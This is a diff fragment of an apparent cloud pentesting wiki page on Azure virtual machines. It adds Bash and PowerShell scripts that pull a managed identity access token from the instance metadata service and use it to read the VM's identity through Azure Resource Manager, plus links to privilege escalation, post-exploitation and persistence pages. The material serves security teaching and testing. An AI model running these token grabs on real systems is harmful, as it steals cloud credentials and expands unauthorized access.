"$imds/instance/compute?api-version=$api_version")" +vm_id="$( +COMPUTE_JSON="$compute_json" python3 - <<'PY' +import json, os +print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"]) +PY +)" + +arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01" +if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then +VM_JSON="$vm_json" python3 - <<'PY' +import json, os +vm = json.loads(os.environ["VM_JSON"]) +print(json.dumps(vm.get("identity", {}), indent=2)) +PY +else +echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM." +fi +``` +{{#endtab }} + +{{#tab name="Windows" }} +```powershell +$imds = "http://169.254.169.254/metadata" +$apiVersion = "2021-02-01" +$resource = "https://management.azure.com/" + +# Optional. Examples: +# $env:MSI_SELECTOR = "client_id=" +# $env:MSI_SELECTOR = "object_id=" +# $env:MSI_SELECTOR = "msi_res_id=/subscriptions/.../userAssignedIdentities/name" +$selector = $env:MSI_SELECTOR + +function Invoke-Imds { +param([string]$Uri) + +$params = @{ +Method = "GET" +Uri = $Uri +Headers = @{ Metadata = "true" } +UseBasicParsing = $true +} +if ((Get-Command Invoke-RestMethod).Parameters.ContainsKey("NoProxy")) { +$params.NoProxy = $true +} +Invoke-RestMethod @params +} + +function Decode-JwtPayload { +param([string]$Token) + +$payload = $Token.Split(".")[1].Replace("-", "+").Replace("_", "/") +switch ($payload.Length % 4) { +2 { $payload += "==" } +3 { $payload += "=" } +} +[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)) | ConvertFrom-Json +} + +$encodedResource = [uri]::EscapeDataString($resource) +$tokenUri = "$imds/identity/oauth2/token?api-version=$apiVersion&resource=$encodedResource" +if ($selector) { +$tokenUri = "$tokenUri&$selector" +} + +Write-Host "[*] Requesting managed identity token for: $resource" +$tokenResponse = Invoke-Imds -Uri $tokenUri +$claims = Decode-JwtPayload -Token $tokenResponse.access_token + +Write-Host "[+] Token acquired" +$claims | Select-Object tid, appid, oid, xms_mirid | Format-List + +Write-Host "[*] Trying to read the VM identity property through ARM..." +$compute = Invoke-Imds -Uri "$imds/instance/compute?api-version=$apiVersion" +$armUri = "https://management.azure.com$($compute.resourceId)?api-version=2024-07-01" + +try { +$vm = Invoke-RestMethod -Method GET -Uri $armUri -Headers @{ Authorization = "Bearer $($tokenResponse.access_token)" } -UseBasicParsing +$vm.identity | ConvertTo-Json -Depth 20 +} catch { +Write-Host "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM." +} +``` +{{#endtab }} +{{#endtabs }} + + +## Privilege Escalation {{#ref}} ../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md {{#endref}} -## 인증되지 않은 접근 +## Unauthenticated Access {{#ref}} ../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md {{#endref}} -## 포스트 익스플로잇 +## Post Exploitation {{#ref}} ../../az-post-exploitation/az-vms-and-network-post-exploitation.md {{#endref}} -## 지속성 +## Persistence {{#ref}} ../../az-persistence/az-vms-persistence.md {{#endref}} -## 참고자료 +## References - [https://learn.microsoft.com/en-us/azure/virtual-machines/overview](https://learn.microsoft.com/en-us/azure/virtual-machines/overview) - [https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/](https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/) - [https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service](https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service) +- [https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token) +- [https://learn.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16](https://learn.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16) +- [https://learn.microsoft.com/en-us/azure/virtual-machines/linux/no-agent](https://learn.microsoft.com/en-us/azure/virtual-machines/linux/no-agent) +- [https://learn.microsoft.com/en-us/azure/virtual-machines/run-command](https://learn.microsoft.com/en-us/azure/virtual-machines/run-command) +- [https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/agent-linux](https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/agent-linux) +- [https://www.cybercx.com.au/blog/azure-ssrf-metadata/](https://www.cybercx.com.au/blog/azure-ssrf-metadata/) {{#include ../../../../banners/hacktricks-training.md}}